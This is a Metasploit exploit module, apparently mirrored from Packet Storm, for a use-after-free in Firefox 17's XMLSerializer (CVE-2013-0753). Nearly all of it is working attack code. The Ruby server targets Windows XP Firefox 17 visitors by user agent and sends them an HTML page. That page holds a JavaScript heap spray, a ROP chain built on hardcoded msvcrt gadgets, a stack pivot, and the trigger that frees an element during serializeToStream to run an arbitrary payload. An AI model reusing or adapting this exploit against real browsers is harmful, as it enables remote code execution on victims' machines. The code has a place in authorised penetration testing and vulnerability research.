Firefox XMLSerializer Use After Free

2013-08-2900:00:00
regenrecht
packetstormsecurity.com
0.966 High
EPSS
Percentile
99.5%
JSON
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::RopDb  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Firefox XMLSerializer Use After Free',  
'Description' => %q{  
This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically  
an use after free of an Element object, when using the serializeToStream method  
with a specially crafted OutputStream defining its own write function. This module  
has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP  
SP3.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'regenrecht', # Vulnerability Discovery, Analysis and PoC  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-0753' ],  
[ 'OSVDB', '89021'],  
[ 'BID', '57209'],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],  
[ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],  
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'PrependMigrate' => true  
},  
'Payload' =>  
{  
'BadChars' => "\x00",  
'DisableNops' => true,  
'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Firefox 17 / Windows XP SP3',  
{  
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory  
'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory  
'RetGadget' => 0x77c3ee16, # ret from msvcrt  
'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt  
'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt  
}  
]  
],  
'DisclosureDate' => 'Jan 08 2013',  
'DefaultTarget' => 0))  
  
end  
  
def stack_pivot  
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb  
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit  
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit  
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset  
return pivot  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V").first  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
vprint_status("Agent: #{agent}")  
  
if agent !~ /Windows NT 5\.1/  
print_error("Windows XP not found, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
unless agent =~ /Firefox\/17/  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
# Fake object landed on 0x0c101008 if heap spray is working as expected  
code = [  
target['FakeVFTable'],  
target['RetGadget'],  
target['RetGadget'],  
target['RetGadget'],  
target['RetGadget'],  
target['PopRetGadget'],  
0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis  
].pack("V*")  
code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)  
code << [target['PopRetGadget']].pack("V") # pop # ret  
code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret  
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})  
  
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))  
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))  
js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))  
  
content = <<-HTML  
<html>  
<script>  
var heap_chunks;  
  
function heapSpray(shellcode, fillsled) {  
var chunk_size, headersize, fillsled_len, code;  
var i, codewithnum;  
chunk_size = 0x40000;  
headersize = 0x10;  
fillsled_len = chunk_size - (headersize + shellcode.length);  
while (fillsled.length <fillsled_len)  
fillsled += fillsled;  
fillsled = fillsled.substring(0, fillsled_len);  
code = shellcode + fillsled;  
heap_chunks = new Array();  
for (i = 0; i<1000; i++)  
{  
codewithnum = "HERE" + code;  
heap_chunks[i] = codewithnum.substring(0, codewithnum.length);  
}  
}  
  
function gen(len, pad) {  
pad = unescape(pad);  
  
while (pad.length < len/2)  
pad += pad;  
  
return pad.substring(0, len/2-1);  
}  
  
function run() {  
var container = [];  
  
var myshellcode = unescape("#{js_code}");  
var myfillsled = unescape("#{js_random}");  
heapSpray(myshellcode,myfillsled);  
  
var fake =  
"%u0000%u0000" +  
"%u0000%u0000" +  
"%u0000%u0000" +  
"%u0000%u0000" +  
"%u0000%u0000" +  
"%u0000%u0000" +  
"%u0000%u0000" +  
"#{js_ptr}";  
  
var small = gen(72, fake);  
  
var text = 'x';  
while (text.length <= 1024)  
text += text;  
  
var parent = document.createElement("parent");  
var child = document.createElement("child");  
  
parent.appendChild(child);  
child.setAttribute("foo", text);  
  
var s = new XMLSerializer();  
var stream = {  
write: function() {  
parent.removeChild(child);  
child = null;  
for (i = 0; i < 2097152; ++i)  
container.push(small.toLowerCase());  
}  
};  
  
s.serializeToStream(parent, stream, "UTF-8");  
}  
</script>  
<body onload="run();">  
</body>  
</html>  
HTML  
  
print_status("URI #{request.uri} requested...")  
print_status("Sending HTML")  
send_response(cli, content, {'Content-Type'=>'text/html'})  
  
end  
  
end  
`